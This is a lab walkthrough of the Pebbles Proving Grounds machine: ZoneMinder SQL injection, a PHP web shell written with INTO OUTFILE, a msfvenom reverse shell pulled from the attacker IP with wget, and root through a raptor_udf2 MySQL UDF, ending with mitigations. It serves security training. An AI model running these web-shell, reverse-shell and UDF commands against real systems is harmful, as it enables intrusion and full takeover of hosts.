Skip to content
Writeup Proving Grounds Practice Hard

Pebbles — Proving Grounds

A Proving Grounds Linux walkthrough covering ZoneMinder SQL injection, a MySQL file write into the Apache web root, a reverse shell as www-data, and privilege escalation through a MySQL UDF.

Platform
Proving Grounds Practice
Difficulty
Hard
Date
  • Linux
  • Proving Grounds
  • ZoneMinder
  • SQL Injection
  • PHP
  • MySQL
  • UDF
  • Privilege Escalation

Overview

Pebbles is a Linux Proving Grounds machine. The attack chain combines exposed ZoneMinder, SQL injection, a MySQL file write, PHP command execution, a reverse shell as www-data, and MySQL UDF privilege escalation.

This is an independent walkthrough of an authorized training lab. It is not affiliated with or endorsed by OffSec.

Attack path summary

Nmap revealed several web services, including ZoneMinder 1.29.0 on a nonstandard Apache listener. A SQL injection allowed PHP code to be written into the web root, leading to a reverse shell as www-data. Local enumeration then exposed MySQL running as root, and a malicious UDF provided the final privilege-escalation path.

Enumeration

The initial full TCP scan targeted 192.168.221.52:

sudo nmap -sS -T4 -p- 192.168.221.52
21/tcp   open  ftp
22/tcp   open  ssh
80/tcp   open  http
3305/tcp open  odette-ftp
8080/tcp open  http-proxy

The focused scan added default scripts and service-version detection:

sudo nmap -sS -sC -sV -O -T4 -p 21,22,80,3305,8080 192.168.221.52 -oN nmap-tcp.txt
21/tcp   open  ftp   vsftpd 3.0.3
22/tcp   open  ssh   OpenSSH 7.2p2 Ubuntu 4ubuntu2.8
80/tcp   open  http  Apache httpd 2.4.18 ((Ubuntu))
3305/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
8080/tcp open  http  Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Tomcat
|_http-favicon: Apache Tomcat

The initial odette-ftp label was based on Nmap’s default port-name mapping. Version detection superseded that guess and showed Apache HTTP on port 3305. The OS scan warned that its results could be unreliable, so it did not provide a dependable exact operating-system fingerprint.

Nmap output listing FTP, SSH, three web-facing ports, and Apache service detection on port 3305.
Nmap identified five TCP services, while version detection showed that port 3305 was serving Apache HTTP rather than Odette FTP.

A short UDP scan was also run:

sudo nmap -sU --top-ports 20 192.168.221.52 -oN nmap-udp-top.txt --open

It returned only open|filtered results and did not establish a confirmed UDP attack path.

Mapping the web services

Port 80 served Apache 2.4.18, a Pebbles login page, and ZoneMinder under /zm.

Port 3305 also served Apache 2.4.18. Its root displayed the Apache Ubuntu default page, while /zm exposed ZoneMinder.

Port 8080 presented Apache Tomcat. Enumeration identified hello.php, and RELEASE-NOTES.txt disclosed Tomcat version 9.0.30. No useful attack path was established through Tomcat, so it remained a dead end.

Discovering ZoneMinder

Directory enumeration identified /zm, where the application displayed ZoneMinder Console v1.29.0. ZoneMinder was accessible through the Apache listeners on ports 80 and 3305.

ZoneMinder administration console displaying version 1.29.0.
The /zm path exposed ZoneMinder Console v1.29.0.

Testing known vulnerabilities

A public snapshots RCE PoC was tested against ZoneMinder, but it did not work. No diagnostic error was preserved, so the failure cannot be attributed to a specific cause. The failed PoC did not invalidate the observed version or establish that the application was secure; further research identified SQL injection affecting ZoneMinder 1.29.0, which became the successful path.

Exploiting the SQL injection

A crafted ZoneMinder request used SQL injection to reach a MySQL file-write primitive. The injected statement used the following clause to create PHP content inside the Apache web root:

INTO OUTFILE '/var/www/html/rce.php'

The written PHP accepted a cmd query parameter and passed the supplied value into command execution.

Sanitized HTTP request containing a ZoneMinder SQL injection and an INTO OUTFILE write to rce.php.
The ZoneMinder SQL injection used INTO OUTFILE to write a PHP command shell into the Apache web root.

The resulting file was not reachable through port 80, but it was reachable through port 3305. Requesting /rce.php?cmd=whoami through port 3305 confirmed PHP command execution:

whoami
www-data
Web request to rce.php on port 3305 returning the www-data username.
The PHP web shell was reachable through port 3305 and executed commands as www-data.

Establishing an initial shell

A staged Bash payload was generated on the attacker system:

msfvenom -p cmd/unix/reverse_bash LHOST=192.168.45.177 LPORT=80 -f raw > shell.sh

It was then hosted over HTTP:

python3 -m http.server 80

The PHP web shell was used to download the payload into /tmp and make it executable. URL encoding was applied where necessary when placing commands in the cmd query parameter.

wget -P /tmp/ http://192.168.45.177/shell.sh
chmod +x /tmp/shell.sh

The listener was started before the staged payload was executed:

rlwrap nc -nvlp 80
/tmp/shell.sh

The returned connection ran as the web-service account:

whoami
www-data
Netcat listener receiving a connection from Pebbles and confirming the www-data user.
Executing the staged Bash payload returned an interactive shell as www-data.

Local enumeration

LinPEAS was run after the initial shell was established. Its relevant findings identified Ubuntu 16.04.6 LTS with kernel 4.8.0-1-pve, MySQL 5.7.30, and the MySQL service running as the root operating-system user. MySQL configuration and ZoneMinder configuration were readable, and database access information was available in configuration files.

The credential value is omitted because it is unnecessary to explain the attack chain.

LinPEAS output highlighting the MySQL service and its root process ownership.
LinPEAS identified MySQL 5.7.30 running as the root operating-system user.

Investigating MySQL

The LinPEAS results connected the local findings to the next step. ps aux showed the MySQL daemon running as root, and mysql --version confirmed MySQL 5.7.30 on a 64-bit Linux host:

root  ...  /usr/sbin/mysqld ...
mysql  Ver 14.14 Distrib 5.7.30, for Linux (x86_64)

Because mysqld ran as the root operating-system user, every file MySQL wrote inherited root ownership, and any operating-system command executed from inside the database process would run with root privileges. That made a MySQL user-defined function (UDF) the privilege-escalation primitive: once registered, calling it from SQL executes an attacker-controlled command in a root process. The readable ZoneMinder configuration exposed the database credentials used by the application; the value is omitted here. The escalation did not require a separate MySQL login, because the UDF statements were delivered through the existing SQL injection and executed through the application’s database connection.

The chosen implementation was raptor_udf2 (exploit-db 1518). Its C source defines a do_system function that wraps the C library system() call, and it had to be built as a shared library MySQL can load as a plugin. The shared library had to be written into MySQL’s plugin directory. The secure_file_priv setting controls which server-side file operations are permitted; the later root shell confirmed that the UDF installation succeeded.

Pebbles ran 64-bit MySQL on x86_64 Ubuntu, so the shared library had to be compatible with the target’s x86_64 mysqld process; a 32-bit plugin would have been rejected. The preserved evidence shows the final linking step that produced raptor_udf2.so; the preceding object-compilation step was not captured:

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o

The compiled shared library was then transferred to /tmp on Pebbles using wget.

The ls -la listing of the web root showed that the web-root file written through the SQL injection was owned by root, which corroborated that MySQL’s file writes ran as root and that the same primitive could drop the shared library into the plugin directory. The next step was to install the UDF and trigger the escalation.

Privilege escalation

The UDF installation reused the same SQL injection that wrote rce.php: appending statements after the task=query&limit=100; injection point runs them under the ZoneMinder database connection, so the following SQL was delivered through that channel from Burp Repeater:

CREATE TABLE foo(line BLOB);
INSERT INTO foo VALUES(LOAD_FILE('/tmp/raptor_udf2.so'));
SELECT * FROM foo INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so';
CREATE FUNCTION do_system RETURNS INTEGER SONAME 'raptor_udf2.so';
  • foo is a scratch table that holds the shared object as a BLOB.
  • LOAD_FILE('/tmp/raptor_udf2.so') reads the transferred library into the table.
  • SELECT ... INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf2.so' writes the raw library bytes into MySQL’s plugin directory, where mysqld can load it.
  • CREATE FUNCTION do_system ... SONAME 'raptor_udf2.so' registers do_system so it can be called from SQL.

The registered do_system function was then used to launch the staged Bash payload:

SELECT do_system('/bin/bash /tmp/bash.sh');

The netcat listener was already waiting on the attacker side:

rlwrap nc -nvlp 80

The incoming connection ran as root, and /root/proof.txt was read:

listening on [any] 80 ...
connect to [192.168.45.177] from (UNKNOWN) [192.168.221.52] 33574
whoami
root
cat /root/proof.txt
b821ed93d34265434906b9d28d7e8f18

Only /root/proof.txt existed on Pebbles.

Netcat listener receiving the final root shell and displaying the Pebbles proof flag.
The UDF execution returned a root shell and provided access to /root/proof.txt.

Root cause

Initial access

  • ZoneMinder 1.29.0 was exposed through an accessible web service.
  • The application was vulnerable to SQL injection.
  • MySQL file-write permissions allowed injected SQL to create PHP content inside the Apache web root.
  • Apache and PHP executed the written file, producing command execution as www-data.

Privilege escalation

  • MySQL ran as the root operating-system user.
  • Database access and UDF/plugin permissions allowed a user-defined shared library to be loaded.
  • The UDF executed operating-system commands with the privileges of the MySQL process, resulting in root access.

Mitigations

  • Upgrade ZoneMinder and remediate the SQL injection vulnerability.
  • Restrict ZoneMinder and administrative web interfaces to trusted networks and authorized users.
  • Prevent database accounts from writing executable files into web-accessible directories.
  • Run MySQL as a dedicated unprivileged service account and tightly restrict UDF and plugin-directory permissions.

Lessons learned

  • Service detection should take precedence over default port-name assumptions when a service runs on a nonstandard port.
  • The same application exposed through different listeners may provide different paths to files or functionality.
  • A failed public exploit should lead to further vulnerability analysis rather than ending the investigation.
  • SQL injection can become operating-system code execution when the database can write executable files into a web root.
  • Database extensibility features become a privilege-escalation risk when the service runs with excessive operating-system privileges.